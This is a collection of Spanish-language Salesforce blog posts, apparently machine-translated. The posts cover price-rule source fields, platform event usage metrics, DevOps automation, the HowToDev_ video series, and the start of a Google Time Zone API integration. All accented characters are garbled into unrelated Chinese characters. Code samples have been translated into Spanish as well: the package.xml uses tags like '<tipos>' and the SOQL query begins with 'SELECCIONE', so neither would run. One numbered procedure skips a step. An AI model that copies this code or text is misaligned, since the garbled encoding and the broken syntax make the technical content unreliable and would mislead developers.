Si desea buscar y usar el valor del campo "Precio original" directamente, usar铆a el Campo de origen. Sin embargo, si desea acceder al valor del campo "Nombre del fabricante" a trav茅s de la relaci贸n de b煤squeda, debe utilizar el Campo de b煤squeda de origen.

Aqu铆 hay una comparaci贸n entre los dos:

Campo de origen:

鈥 Ejemplo: Producto.Precio_Original__c

鈥 Hace referencia directa al campo en el objeto de origen.

鈥 Obtiene y utiliza el valor del campo especificado tal cual.

Campo de b煤squeda de fuente:

鈥 Ejemplo: Producto.Fabricante__r.Nombre_Fabricante__c

鈥 Recorre una relaci贸n de b煤squeda para acceder al valor de campo del objeto relacionado.

鈥 Obtiene y usa el valor del campo especificado en el objeto relacionado.

En resumen, el campo de origen se usa para hacer referencia directamente a un campo en el objeto de origen, mientras que el campo de b煤squeda de origen se usa para obtener el valor de campo de un registro relacionado a trav茅s de una relaci贸n de b煤squeda. La elecci贸n depende de los datos espec铆ficos que desea recuperar y utilizar en la acci贸n del precio.

驴Cu谩l es el uso del campo Variable de origen en la regla de precio?

Continuemos con nuestro ejemplo de la tienda de golosinas para ilustrar el uso del campo variable de origen en una acci贸n de precio.

El campo Variable de origen en la Acci贸n de precio le permite obtener el valor de la variable personalizada, digamos "Porcentaje de descuento" de la Regla de precio asociada. Esto permite que Price Action aplique din谩micamente el porcentaje de descuento correcto al campo "Precio con descuento".

1. Configure los siguientes detalles para la acci贸n del precio:

鈥 Objeto de origen: l铆nea de cotizaci贸n

鈥 Objeto de destino: l铆nea de cotizaci贸n

鈥 Campo objetivo: Precio con descuento

鈥 Campo de variable de origen: Porcentaje de descuento

3. Digamos que la regla de precio determin贸 que el porcentaje de descuento aplicable es del 15 % en funci贸n de la cantidad de dulces en la cotizaci贸n.

4. La acci贸n del precio usar谩 el valor obtenido del 15 % y lo aplicar谩 al campo "Precio con descuento" en la l铆nea de cotizaci贸n. Supongamos que el precio original de los dulces es de $10.

Precio con descuento = Precio original 鈥 (Precio original * Porcentaje de descuento)

= $10 鈥 ($10 * 0,15)

= $10 鈥 $1.50

= $8.50

5. Despu茅s de ejecutar la acci贸n de precio, el campo "Precio con descuento" en la l铆nea de cotizaci贸n se actualizar谩 con el valor calculado de $8,50.

50% Me gusta VS
50% No me gusta

Continue reading

El poder de las m茅tricas de uso mejoradas para optimizar la asignaci贸n de eventos de la plataforma

El poder de las m茅tricas de uso mejoradas para optimizar la asignaci贸n de eventos de la plataforma

脷ltima actualizaci贸n el 6 de julio de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • C贸mo monitorear el consumo de eventos de la plataforma seg煤n el nombre del evento, el ID del cliente, el tipo de evento y el tipo de uso

Objetivos:

Despu茅s de leer este blog, podr谩:

  • Obtenga una comprensi贸n integral de los eventos de la plataforma
  • Descubra las ventajas de monitorear los patrones de consumo para la optimizaci贸n del rendimiento del sistema y la identificaci贸n de tendencias de uso
  • Implemente m茅tricas de uso mejoradas para eventos de plataforma a trav茅s de una gu铆a paso a paso
  • Explore los beneficios de monitorear patrones de consumo para optimizar el rendimiento del sistema e identificar tendencias de uso
  • y mucho m谩s

Jestilla Zetkin trabaja como arquitecta de Salesforce en Gurukul On Cloud (GoC), recientemente se encontr贸 con una publicaci贸n de blog titulada Monitoreo de publicaci贸n de eventos y uso de entrega de la plataforma . Esta publicaci贸n proporcion贸 informaci贸n sobre c贸mo varias formas de monitorear el uso de la publicaci贸n y entrega de eventos de la plataforma.

A medida que se expande el negocio de GoC, la afluencia de datos ha llevado a casos frecuentes de alcanzar los l铆mites diarios para los eventos de la plataforma. En consecuencia, Jestilla est谩 buscando una soluci贸n para monitorear el consumo de eventos de la plataforma seg煤n el nombre del evento, la identificaci贸n del cliente o el tipo. Esta capacidad de monitoreo le permitir谩 analizar qu茅 evento est谩 consumiendo una parte significativa de la asignaci贸n, lo que le permitir谩 tomar las medidas adecuadas en consecuencia.

驴Qu茅 es Plataforma de Eventos?

Las arquitecturas basadas en eventos se han vuelto muy populares en los 煤ltimos a帽os y por una buena raz贸n. Se basa en el patr贸n de fuego y olvido . Activar un evento y dejar que cada sistema maneje la l贸gica empresarial le permite mantener los sistemas no relacionados desacoplados y puede ayudar a simplificar la arquitectura.

Los eventos de la plataforma le permiten entregar notificaciones de eventos seguras, escalables y personalizables dentro de Salesforce o desde fuentes externas. Las aplicaciones pueden publicar y suscribirse a eventos de plataforma en la plataforma de Salesforce mediante Apex, Flow o en un sistema externo mediante CometD. Si desea obtener m谩s informaci贸n sobre el evento de plataforma, consulte el m贸dulo de Trailhead .

Comprender el objeto PlatformEventUsageMetric

Hagamos una pausa aqu铆 y familiar铆cese con el objeto PlatformEventUsageMetric en Salesforce.

Contiene datos de uso para la publicaci贸n y entrega de eventos a clientes CometD y Pub/Sub API, componentes empApi Lightning y retransmisiones de eventos. Si las m茅tricas de uso mejoradas est谩n habilitadas, los datos de uso est谩n disponibles para las 煤ltimas 24 horas, hasta la 煤ltima hora y para el uso diario hist贸rico.

En API 58.0 y versiones posteriores, puede habilitar M茅tricas de uso mejoradas para obtener datos de uso por nombre de evento y cliente para intervalos de tiempo granulares. PlatformEventUsageMetric contiene m茅tricas de uso separadas para eventos de plataforma y eventos de captura de datos modificados.

Nombre del campo
Detalles
Tipo de evento El tipo de evento para el que le gustar铆a consultar las m茅tricas de uso, como un evento de cambio o un evento de plataforma personalizado. Este campo est谩 disponible cuando las m茅tricas de uso mejoradas est谩n habilitadas.
Segmento de tiempo El intervalo de tiempo utilizado para agregar los datos de uso devueltos en los resultados de la consulta. Este campo est谩 disponible cuando las m茅tricas de uso mejoradas est谩n habilitadas.
Tipo de uso Este campo est谩 disponible cuando las m茅tricas de uso mejoradas est谩n habilitadas. El tipo de m茅tricas de uso de eventos para consultar, como publicaci贸n de eventos o entrega de eventos. Utilice este campo con los campos EventName o EventType. Los valores posibles son:

  • PUBLISH 鈥擬茅tricas de uso para eventos publicados.
  • ENTREGA 鈥擬茅tricas de uso para eventos que se entregaron a los suscriptores.
Valor El valor de uso para la m茅trica y el intervalo de fechas especificados.

Para obtener datos de uso completos para cada evento, aprovecharemos las m茅tricas de uso de eventos mejoradas. Esta funci贸n nos permitir谩 recopilar informaci贸n agregada e identificar los eventos espec铆ficos que consumen una parte importante de la asignaci贸n.

Mientras que PlatformEventSettings representa configuraciones para eventos de plataforma y eventos de captura de datos modificados.

Nombre del campo
Detalles
enableEnhancedUsageMetrics Habilita m茅tricas de uso mejoradas para consultas ejecutadas en PlatformEventUsageMetric. Las m茅tricas de uso mejoradas proporcionan campos adicionales para las consultas y segmentos de tiempo granulares. Para obtener m谩s informaci贸n, consulte M茅tricas de uso mejoradas en la Gu铆a para desarrolladores de eventos de plataforma. El valor predeterminado es falso.

Pr谩ctica guiada (nosotros hacemos):

Antes de que pueda obtener m谩s m茅tricas de uso, debe habilitar las M茅tricas de uso mejoradas en la API de metadatos . Para hacer esto, establezca el valor del campo enableEnhancedUsageMetrics en verdadero en PlatformEventSettings . Una vez hecho esto, podr谩 obtener m茅tricas de uso detalladas para el consumo de eventos de la plataforma.

Paso 1: habilite las m茅tricas de uso mejoradas

  1. Aseg煤rese de que Visual Studio Code est茅 correctamente configurado y que su organizaci贸n de Salesforce est茅 conectada a 茅l.
  2. Modifique el paquete.xml para recuperar los metadatos relacionados con los eventos de la plataforma.
    1. Ejemplo de paquete.xml para recuperar la configuraci贸n de PlatformEvent.
      
      
      <tipos> <miembros>PlataformaEvento</miembros> <nombre>Configuraci贸n</nombre>
      </tipos>

  3. El siguiente paso es modificar PlatformEventSettings .
    1. Proceda a modificar PlatformEventSettings, cuyos valores se almacenan en el archivo PlatformEvent.settings en la carpeta de configuraci贸n .
    2. En PlatformEventSettings, establezca el campo enableEnhancedUsageMetrics en true .
    3. Guarde los cambios en el archivo PlatformEvent.settings-meta.xml .
  4. Finalmente, haga clic con el bot贸n derecho en el archivo de su paquete en el Explorador y seleccione SFDX: Implementar origen en el manifiesto en la organizaci贸n .

Paso 2.1: obtenga m茅tricas de uso diario agregadas por nombre de evento

  1. Haga clic en Configuraci贸n | Consola de desarrollador .
  2. En el Editor de consultas, ejecute la siguiente consulta SOQL
     SELECCIONE EventName, EventType, UsageType, Value, StartDate, EndDate FROM PlatformEventUsageMetric WHERE TimeSegment='Diario'
Continue reading

Automatizaci贸n y Salesforce DevOps: una receta para el desarrollo acelerado

Automatizaci贸n y Salesforce DevOps: una receta para el desarrollo acelerado

脷ltima actualizaci贸n el 3 de julio de 2023 por Rakesh Gupta

En el acelerado mundo empresarial actual, la eficiencia en el desarrollo de software es vital. La automatizaci贸n ha surgido como una soluci贸n clave, agilizando los procesos para aumentar la productividad y liberar la innovaci贸n. Salesforce no es inmune a estos desaf铆os y complejidades de toda la industria.

Ingrese a DevOps. DevOps se ha convertido en un elemento esencial en el desarrollo de software, incluido Salesforce. Mediante la colaboraci贸n de desarrolladores, administradores y partes interesadas, Salesforce DevOps crea un entorno perfecto para la automatizaci贸n.

La combinaci贸n de automatizaci贸n y Salesforce DevOps cosecha m煤ltiples beneficios: menos errores, preparaci贸n m谩s r谩pida para el mercado, una canalizaci贸n de lanzamiento optimizada, menos repeticiones, calidad de c贸digo superior y mecanismos de retroalimentaci贸n m谩s fuertes. Mejora la eficiencia operativa y la velocidad de implementaci贸n en el ecosistema de Salesforce, fomentando un desarrollo 谩gil.

Este art铆culo explora la intersecci贸n de la automatizaci贸n y Salesforce DevOps, los beneficios de su sinergia y formas pr谩cticas de aplicarla para un desarrollo m谩s r谩pido en sus operaciones de Salesforce. Tanto si es un profesional de Salesforce como un novato, este art铆culo ofrece informaci贸n para reforzar su enfoque de DevOps de Salesforce con la automatizaci贸n.

Descripci贸n de DevOps de Salesforce

Antes de profundizar en c贸mo se cruzan Salesforce DevOps y la automatizaci贸n, es fundamental comprender lo que implica Salesforce DevOps.

DevOps, una combinaci贸n de ' Desarrollo ' y ' Operaciones ', es un conjunto de pr谩cticas dise帽adas para fusionar el desarrollo de software, el control de calidad y las operaciones de TI en un proceso unificado y fluido. En un contexto de Salesforce , DevOps es la uni贸n de estos principios con las s贸lidas capacidades de CRM de Salesforce, con el objetivo de facilitar procesos de desarrollo e implementaci贸n m谩s fluidos y r谩pidos.

En esencia, Salesforce DevOps incorpora principios como:

  1. Integraci贸n continua y entrega continua (CI/CD),
  2. responsabilidades compartidas,
  3. Acci贸n centrada en el cliente,
  4. Cultura de colaboraci贸n.

El objetivo es crear un entorno cohesivo donde los administradores, desarrolladores y otras partes interesadas puedan trabajar en armon铆a, lo que lleva a ciclos de desarrollo m谩s cortos, tiempo de comercializaci贸n m谩s r谩pido y software de alta calidad.

Sin embargo, a pesar de las ventajas de Salesforce DevOps, los desarrolladores a menudo enfrentan desaf铆os. Si bien es un activo, las caracter铆sticas integrales y la capacidad de personalizaci贸n de Salesforce pueden complicar el proceso de desarrollo e implementaci贸n .

Los desaf铆os difieren de un equipo a otro y de un caso de uso a otro, pero estos son algunos de los m谩s comunes:

  • Las diferencias en los entornos,
  • Administrar dependencias de c贸digo,
  • Manejo de metadatos,
  • Alinear el trabajo de diferentes equipos
  • Necesidad de mantener la calidad del c贸digo
  • Estabilidad del sistema mientras entrega a gran velocidad

Aqu铆 es donde la automatizaci贸n viene al rescate. La automatizaci贸n, en esencia, es el uso de la tecnolog铆a para realizar tareas con una intervenci贸n humana reducida. Cuando se aplica a Salesforce DevOps , puede aliviar significativamente estos desaf铆os.

Las pruebas automatizadas, por ejemplo, pueden mejorar la calidad del c贸digo al identificar errores al principio del proceso de desarrollo. Las implementaciones automatizadas pueden sincronizar metadatos y c贸digo en diferentes entornos, lo que reduce los errores de implementaci贸n. Del mismo modo, la automatizaci贸n de tareas repetitivas puede liberar el tiempo de los desarrolladores, lo que les permite concentrarse en actividades que agregan m谩s valor, como el desarrollo de funciones o el dise帽o de sistemas.

Adem谩s, la automatizaci贸n fomenta un proceso de desarrollo m谩s 谩gil, lo que permite actualizaciones peri贸dicas e incrementales en lugar de implementaciones r铆gidas de Salesforce. Este aspecto acorta el ciclo de desarrollo y facilita la reversi贸n de los cambios si algo sale mal, lo que aumenta la estabilidad general del sistema.

Aprovechamiento de la automatizaci贸n para el desarrollo acelerado de Salesforce

Acelerar el desarrollo de Salesforce a trav茅s de la automatizaci贸n implica identificar tareas manuales y repetitivas, implementar herramientas y marcos de automatizaci贸n adecuados y perfeccionar los procesos para mejorar la eficiencia y reducir los cuellos de botella. Profundicemos en cada una de estas 谩reas con m谩s detalle:

Identificaci贸n de tareas manuales y repetitivas

El primer paso hacia la automatizaci贸n es reconocer qu茅 tareas est谩n ralentizando su velocidad de desarrollo.

Estos t铆picamente incluyen:

  • Revisiones de c贸digo,
  • Pruebas,
  • Despliegue,
  • Configuraci贸n,
  • Migraci贸n de datos.

Suelen implicar procesos manuales tediosos que consumen tiempo y son propensos a errores. Al identificar estas tareas, puede identificar d贸nde la automatizaci贸n proporcionar谩 el mayor beneficio y tendr谩 un impacto significativo en la velocidad y la eficiencia de su desarrollo.

Implementaci贸n de herramientas y marcos de automatizaci贸n

Una vez que haya identificado las 谩reas que podr铆an beneficiarse de la automatizaci贸n, es hora de elegir e implementar las herramientas y los marcos adecuados. Salesforce ofrece varias funciones de automatizaci贸n integradas, como Apex y Salesforce Flow .

Sin embargo, otras herramientas pueden ser m谩s adecuadas para tareas complejas, como Salesforce DX para la gesti贸n del ciclo de vida del desarrollo, o Jenkins y CircleCI para la integraci贸n y entrega continuas. Al seleccionar estas herramientas, aseg煤rese de que se alineen con las habilidades de su equipo y los requisitos espec铆ficos de su entorno de Salesforce.

Optimizaci贸n de procesos para mejorar la eficiencia

La automatizaci贸n no se trata solo de herramientas y tecnolog铆a. Tambi茅n se trata de refinar sus procesos. Revise su flujo de trabajo de desarrollo actual para identificar posibles cuellos de botella y 谩reas de mejora.

Por ejemplo:

  1. 驴C贸mo se informan y rastrean los errores?
  2. 驴Con qu茅 frecuencia se realizan las implementaciones y c贸mo se programan?
  3. 驴C贸mo se recopilan los comentarios y c贸mo se act煤a en consecuencia?

Simplificar estos procesos puede mejorar dr谩sticamente la eficiencia de su equipo, permiti茅ndole aprovechar al m谩ximo sus esfuerzos de automatizaci贸n.

Vale la pena mencionar que los beneficios de la automatizaci贸n van m谩s all谩 de acelerar el desarrollo. La automatizaci贸n tambi茅n puede mejorar la calidad del c贸digo al detectar errores temprano a trav茅s de pruebas automatizadas. Puede reducir los errores de implementaci贸n al sincronizar el c贸digo en diferentes entornos.

Y al liberar a los desarrolladores de las tareas rutinarias, les permite concentrarse m谩s en el desarrollo de caracter铆sticas y el dise帽o del sistema, fomentando as铆 la innovaci贸n y mejorando el valor entregado a los usuarios finales.

Pruebas automatizadas para el desarrollo acelerado de Salesforce

Las pruebas son un componente crucial de cualquier ciclo de vida de desarrollo, y su importancia se multiplica para acelerar el desarrollo de Salesforce. Las pruebas peri贸dicas y exhaustivas ayudan a identificar errores y problemas desde el principio, lo que reduce el riesgo de reparaciones costosas y lentas en el futuro. Asegura la calidad y la confiabilidad de la aplicaci贸n, lo que a su vez contribuye a mejorar las experiencias de los usuarios y los resultados comerciales.

La automatizaci贸n puede potenciar este proceso de prueba. Las pruebas automatizadas implican el uso de herramientas de software para ejecutar pruebas y comparar los resultados reales con los resultados esperados. La implementaci贸n de una estrategia de prueba automatizada para las aplicaciones de Salesforce puede acelerar dr谩sticamente el proceso de desarrollo, lo que garantiza implementaciones m谩s r谩pidas, eficientes y confiables con menos errores.

Existen numerosas herramientas disponibles para pruebas automatizadas en Salesforce. Apex proporciona soporte integrado para pruebas unitarias, mientras que herramientas como Selenium, Provar y AssureClick pueden automatizar las pruebas de IU. Jest es una excelente opci贸n para probar Lightning Web Components (LWC). Al seleccionar una herramienta, considere las necesidades espec铆ficas de su aplicaci贸n, la experiencia de su equipo y la complejidad y frecuencia de sus requisitos de prueba.

Seguir las mejores pr谩cticas es esencial para aprovechar todo el potencial de las pruebas automatizadas. Estas son algunas de las mejores pr谩cticas para pruebas automatizadas eficientes y completas en el desarrollo de Salesforce:

  • Apunte a una alta cobertura de prueba : aseg煤rese de probar todas las partes de su aplicaci贸n. Salesforce requiere una cobertura de c贸digo m铆nima del 75 %, pero apuntar a una mayor cobertura puede brindar m谩s confianza en la confiabilidad de la aplicaci贸n.
  • Cree pruebas repetibles y aut贸nomas : las pruebas deben poder ejecutarse en cualquier entorno y no deben basarse en datos de pruebas anteriores. Esto garantiza que cada prueba valide una funci贸n espec铆fica de forma independiente.
  • Mantenga sus conjuntos de pruebas : a medida que su aplicaci贸n evolucione, sus pruebas tambi茅n deber铆an hacerlo. Revise y actualice regularmente sus pruebas para asegurarse de que reflejen con precisi贸n el estado actual de su aplicaci贸n.
  • Implemente diferentes niveles de prueba : combine pruebas unitarias, pruebas de integraci贸n y pruebas de interfaz de usuario para validar todos los aspectos de su aplicaci贸n. Cada nivel de prueba proporciona una perspectiva diferente sobre la funcionalidad de la aplicaci贸n.
  • Priorizar la legibilidad de la prueba : las pruebas a menudo sirven como documentaci贸n, explicando lo que se supone que debe hacer una parte del c贸digo. Aseg煤rese de que sus pruebas est茅n bien estructuradas y claramente escritas para que sean f谩ciles de entender para los dem谩s.
  • Incorpore las pruebas al principio del proceso de desarrollo : no espere hasta el final del ciclo de desarrollo para comenzar las pruebas. La incorporaci贸n de pruebas de manera temprana y frecuente le permite detectar y solucionar problemas r谩pidamente.

Integraci贸n e implementaci贸n continuas con automatizaci贸n

La integraci贸n continua y la implementaci贸n continua (CI/CD) forman un pilar central de Salesforce DevOps. CI/CD est谩 dise帽ado para reducir errores y acelerar el desarrollo a trav茅s de la integraci贸n continua de c贸digo y procesos de implementaci贸n automatizados y consistentes.

En el contexto de Salesforce, CI fusiona peri贸dicamente los cambios de c贸digo en un repositorio compartido, a menudo varias veces al d铆a. Cada integraci贸n se verifica autom谩ticamente mediante la creaci贸n de la aplicaci贸n y la ejecuci贸n de pruebas, lo que garantiza que los nuevos cambios se integren perfectamente con el c贸digo existente y no introduzcan errores.

Por otro lado, CD implementa autom谩ticamente esos cambios en la producci贸n, lo que garantiza que las nuevas caracter铆sticas, configuraciones y mejoras lleguen a los usuarios finales lo m谩s r谩pido posible. En Salesforce, CD puede implicar la implementaci贸n de cambios en diferentes entornos, como entornos de desarrollo, prueba, ensayo y producci贸n.

La automatizaci贸n es clave para lograr procesos impecables de CI/CD de Salesforce. A trav茅s de la automatizaci贸n, puede optimizar y estandarizar los pasos involucrados en:

  • Creaci贸n, prueba e implementaci贸n de aplicaciones de Salesforce,
  • Reducir el potencial de error humano
  • Acelerar el ciclo de desarrollo general.

La automatizaci贸n del proceso de compilaci贸n garantiza que los cambios en el c贸digo se integren y validen de manera constante. Las pruebas automatizadas, como comentamos anteriormente, verifican la integridad y la calidad del nuevo c贸digo. La automatizaci贸n del proceso de implementaci贸n ayuda a sincronizar el c贸digo y los cambios de configuraci贸n en diferentes entornos, lo que garantiza que todos los equipos de DevOps trabajen con la versi贸n m谩s reciente y precisa de la aplicaci贸n.

Control de versiones y automatizaci贸n de la gesti贸n de cambios

En el desarrollo de Salesforce, el control de versiones y la gesti贸n de cambios son fundamentales para mantener la integridad, coherencia y calidad de su aplicaci贸n.

El control de versiones, una parte integral del desarrollo de software, implica administrar y rastrear diferentes versiones de su base de c贸digo. Le permite ver los cambios a lo largo del tiempo, volver a las versiones anteriores cuando sea necesario y administrar el c贸digo de varios desarrolladores al mismo tiempo.

La gesti贸n de cambios se refiere a la gesti贸n y el seguimiento de los cambios del sistema, incluidos los cambios de configuraci贸n, las modificaciones de c贸digo y las implementaciones de nuevas funciones.

La automatizaci贸n de estos procesos puede mejorar su eficiencia y confiabilidad en el desarrollo de Salesforce.

  1. El control de versiones automatizado permite una integraci贸n de c贸digo m谩s fluida de diferentes desarrolladores, lo que reduce el riesgo de conflictos y errores.
  2. La gesti贸n de cambios automatizada asegura que todas las modificaciones a su sistema sean rastreadas y verificadas con precisi贸n, mejorando la responsabilidad y facilitando el diagn贸stico de cualquier problema que surja.

Varias herramientas pueden ayudar a automatizar el control de versiones y la gesti贸n de cambios en Salesforce. Los sistemas de control de versiones (VCS) como Git permiten un control de versiones efectivo. Facilita el seguimiento de los cambios en la base del c贸digo, lo que ayuda a mantener la integridad del c贸digo.

Las herramientas de DevOps como Copado o Gearset pueden ayudar a automatizar el seguimiento y la implementaci贸n de cambios en diferentes entornos para la gesti贸n de cambios. Brindan una visibilidad integral de su historial de cambios, lo que le permite administrar los cambios de manera m谩s efectiva y mantener la estabilidad de su aplicaci贸n.

Automatizaci贸n de la supervisi贸n y el tratamiento de errores

En el 谩mbito vertiginoso del desarrollo de Salesforce, el papel de la automatizaci贸n se extiende m谩s all谩 de la creaci贸n, prueba e implementaci贸n. El monitoreo automatizado y el manejo de errores son igualmente importantes para mantener la salud de la aplicaci贸n y corregir r谩pidamente cualquier problema.

El monitoreo automatizado implica el uso de herramientas para realizar un seguimiento constante del rendimiento, el uso y el estado general de sus aplicaciones de Salesforce. Este enfoque proactivo permite a los equipos de desarrollo identificar y abordar posibles problemas antes de que afecten a los usuarios.

El manejo proactivo de errores va de la mano con el monitoreo automatizado. En lugar de esperar a que se informen los problemas, el manejo proactivo de errores implica el uso de sistemas automatizados para identificar y, a menudo, resolver los problemas tan pronto como ocurran. Las notificaciones de error automatizadas aseguran que su equipo est茅 al tanto de cualquier problema al instante, lo que permite una respuesta r谩pida, minimiza el tiempo de inactividad y reduce la posibilidad de errores costosos.

La implementaci贸n de estas herramientas de automatizaci贸n en Salesforce DevOps implica el uso estrat茅gico de recursos como Monitoreo de eventos de Salesforce, que proporciona un flujo de eventos de auditor铆a de aplicaciones de su organizaci贸n, y herramientas de Monitoreo y advertencia de errores, que pueden notificarle autom谩ticamente sobre errores o excepciones.

Conclusi贸n

La automatizaci贸n combinada con las pr谩cticas de Salesforce DevOps ofrece una poderosa estrategia para acelerar el desarrollo y mejorar la calidad del software. Es una receta para el 茅xito en el vertiginoso panorama digital actual.

Para implementar la automatizaci贸n en su desarrollo de Salesforce, comience por identificar las tareas repetitivas que podr铆an automatizarse. Luego, implemente herramientas adecuadas para tareas como integraci贸n continua, pruebas automatizadas, control de versiones y monitoreo de aplicaciones. Agilice cualquier proceso manual junto con la implementaci贸n de estas herramientas, creando un flujo de trabajo de desarrollo eficiente y efectivo.

La adopci贸n de la automatizaci贸n en Salesforce DevOps acelera el desarrollo y refuerza la confiabilidad y el valor de sus aplicaciones. A medida que el ecosistema de Salesforce contin煤a evolucionando, el papel de la automatizaci贸n crecer谩 a煤n m谩s, dando forma al futuro del desarrollo de Salesforce.

Este art铆culo fue escrito por Sam Hops. Es redactora de contenido para una revista digital que cubre temas relacionados con el dise帽o, el comercio electr贸nico, el marketing digital y el esp铆ritu empresarial. Sam es un apasionado de todo lo relacionado con el marketing digital, pero tiene un inter茅s particular en el dise帽o gr谩fico, el SEO y las redes sociales.

Evaluaci贸n formativa:

隆Quiero saber de ti!

驴Qu茅 es una cosa que aprendiste de esta publicaci贸n? 驴C贸mo imagina aplicar este nuevo conocimiento en el mundo real? Si茅ntase libre de compartir en los comentarios a continuaci贸n.

Continue reading

Presentamos HowToDev_ 鈽侊笍

Presentamos HowToDev_ 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Presentamos HowToDev_ | Blog de desarrolladores de Salesforce

HowToDev_ es una nueva serie sobre Salesforce+ que creamos para ayudar a los desarrolladores a familiarizarse con Salesforce Platform. Si ya tiene habilidades tecnol贸gicas pero es nuevo en el ecosistema de Salesforce, o si desea aprender un poco sobre el desarrollo, 隆HowToDev_ es la serie para usted!

En esta nueva serie, aprender谩 a ampliar la Plataforma de Salesforce y crear aplicaciones personalizadas utilizando potentes funciones de desarrollo de Salesforce l铆deres en la industria. Ser茅 su anfitri贸n y, en cada episodio, lo explicar茅 c贸mo tomar una interfaz de usuario basada en datos que viene lista para usar con Salesforce y crear una experiencia intuitiva e interactiva que facilite la vida de los usuarios.

Descripci贸n general de la plataforma de Salesforce

La plataforma de Salesforce re煤ne una serie de servicios de infraestructura, red, aplicaciones y datos para crear una poderosa herramienta que puede ampliar en un abrir y cerrar de ojos. Esto se debe a muchas de las complejidades que puede haber utilizado en otras plataformas de usuarios y desarrolladores. En el primer episodio de HowToDev_, repasamos una descripci贸n general de Salesforce Platform y c贸mo puede crear objetos personalizados para ampliar el modelo de datos.

Realmente solo necesita preocuparse por la aplicaci贸n y los servicios de datos que se le proporcionan para construir. Desde su front-end hasta sus API, todo sale de la caja listo para que comience a construir.

隆Vamos a codificar!

隆Espera un segundo! Hay algunas cosas que necesita saber aqu铆 antes de abrir ese entorno de desarrollo. Aqu铆 hay un vistazo de lo que cubrimos en el Episodio 1 .

Comprender la importancia de los metadatos en Salesforce: Nosotros explicar la funci贸n de los metadatos, que representan toda la configuraci贸n, la automatizaci贸n y la interfaz de usuario en el entorno de Salesforce.

Definici贸n de qu茅 son una aplicaci贸n y una organizaci贸n en Salesforce: aclaramos los conceptos de una aplicaci贸n y una organizaci贸n en Salesforce, subrayando su distinci贸n con respecto a las aplicaciones y organizaciones tradicionales.

Creaci贸n del objeto de propiedad : demostramos el proceso de creaci贸n de un objeto personalizado (el objeto de propiedad) en Configuraci贸n de Salesforce, que funciona como una tabla de base de datos para administrar y rastrear propiedades.

Agregar nuevos campos al objeto: agregamos dos nuevos campos personalizados al objeto Propiedad (es decir, Fecha de cotizaci贸n y D铆as en el mercado), que resaltan la naturaleza din谩mica de los campos de Salesforce.

Mirando hacia el futuro: Concluimos el episodio con una mirada al futuro de lo que cubrir谩 la serie, prometiendo una futura exploraci贸n de la codificaci贸n y la resoluci贸n de problemas complejos dentro de Salesforce.

Una vez que tenga una mayor comprensi贸n de estos conceptos, 隆podemos abrir la CLI en el Episodio 2 !

D贸nde ver HowToDev_

Todos los episodios se lanzaron a la vez en Salesforce+, 隆as铆 que puede disfrutarlos todos ahora! Esto es lo que se trata en cada episodio:

Episodio 1: Descripci贸n general de la plataforma Salesforce
Episodio 2: Herramientas para desarrolladores de Salesforce
Episodio 3: C贸digo en Salesforce con Apex, SOQL y DML
Episodio 4: compilar componentes web Lightning
Episodio 5: Automatizaci贸n con flujo y disparadores
Episodio 6: Completar y lanzar su aplicaci贸n Salesforce

M谩s recursos

  • HowToDev_ Repositorio de GitHub : este es el lugar donde encontrar谩 todo el c贸digo, las definiciones, los enlaces y los documentos a los que se hace referencia en la serie.
  • Creamos una divertida Trailhead Quest para completar mientras ves HowToDev_. 脷nase a la b煤squeda ahora para poner a prueba sus conocimientos y tener la oportunidad de ganar* uno de los 10 paquetes de premios HowToDev_, que incluyen un par de Apple AirPods y un estuche personalizado de Salesforce Developers. Tambi茅n recibir谩 una insignia exclusiva de la comunidad HowToDev_ en Trailhead. Complete la misi贸n en cualquier momento antes del 31 de julio a las 11:59 p. m. (hora del Pac铆fico) para participar y ganar.

Sobre el Autor

Stephan Chandler-Garcia es promotor de desarrolladores en Salesforce. Ha estado en el ecosistema de Salesforce durante m谩s de 10 a帽os como cliente, socio e ISV. Puede encontrar a Stephan en persona en un grupo comunitario de Trailblazer o en una de nuestras conferencias en todo el mundo. Alternativamente, s铆galo en Twitter @stephanwcg o @schandlergarcia en GitHub, y consulte su repositorio de GitHub para ver c贸digo de muestra y proyectos.

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Integraci贸n de API de zona horaria de Salesforce y Google: traducci贸n de coordenadas a informaci贸n de zona horaria

Integraci贸n de API de zona horaria de Salesforce y Google: traducci贸n de coordenadas a informaci贸n de zona horaria

脷ltima actualizaci贸n el 29 de junio de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • 驴C贸mo puede aprovechar la API de zona horaria de Google para actualizar autom谩ticamente la informaci贸n de zona horaria de un cliente potencial en funci贸n de sus coordenadas geogr谩ficas?

Objetivos:

Despu茅s de leer este blog, podr谩:

Jestilla Zetkin se desempe帽a actualmente como arquitecta de Salesforce en Gurukul On Cloud (GoC). El Director Comercial le ha confiado a Jestilla un desaf铆o 煤nico. El objetivo es asegurarse de que, en el momento de la creaci贸n, los prospectos de Salesforce (creados a trav茅s de Web-to-lead) reciban los detalles exactos de la zona horaria, que se determinan en funci贸n de sus respectivas coordenadas geogr谩ficas.

  1. El caso de uso comercial requiere que usemos la API de zona horaria de Google para actualizar autom谩ticamente cuatro campos espec铆ficos en los clientes potenciales:
    1. dstOffset (la compensaci贸n del horario de verano en segundos)
    2. rawOffset (el desplazamiento de la hora universal coordinada para la zona horaria de la ubicaci贸n dada)
    3. timeZoneId (una cadena que identifica de forma 煤nica la zona horaria)
    4. y timeZoneName (el nombre largo de la zona horaria)
  2. En caso de una respuesta fallida, instituya una acci贸n de contingencia para crear una tarea para el propietario designado del cliente potencial.

驴Qu茅 es la API de zona horaria de Google?

Hay muchas posibilidades de que su base de clientes est茅 repartida en varias zonas horarias. Este factor puede influir en gran medida en sus interacciones con ellos, especialmente al programar llamadas, reuniones o enviar mensajes autom谩ticos. La plataforma de Salesforce ofrece un entorno altamente adaptable para almacenar y administrar datos de clientes, pero de forma predeterminada, no proporciona una forma de registrar autom谩ticamente la zona horaria del cliente potencial en funci贸n de sus coordenadas geogr谩ficas.

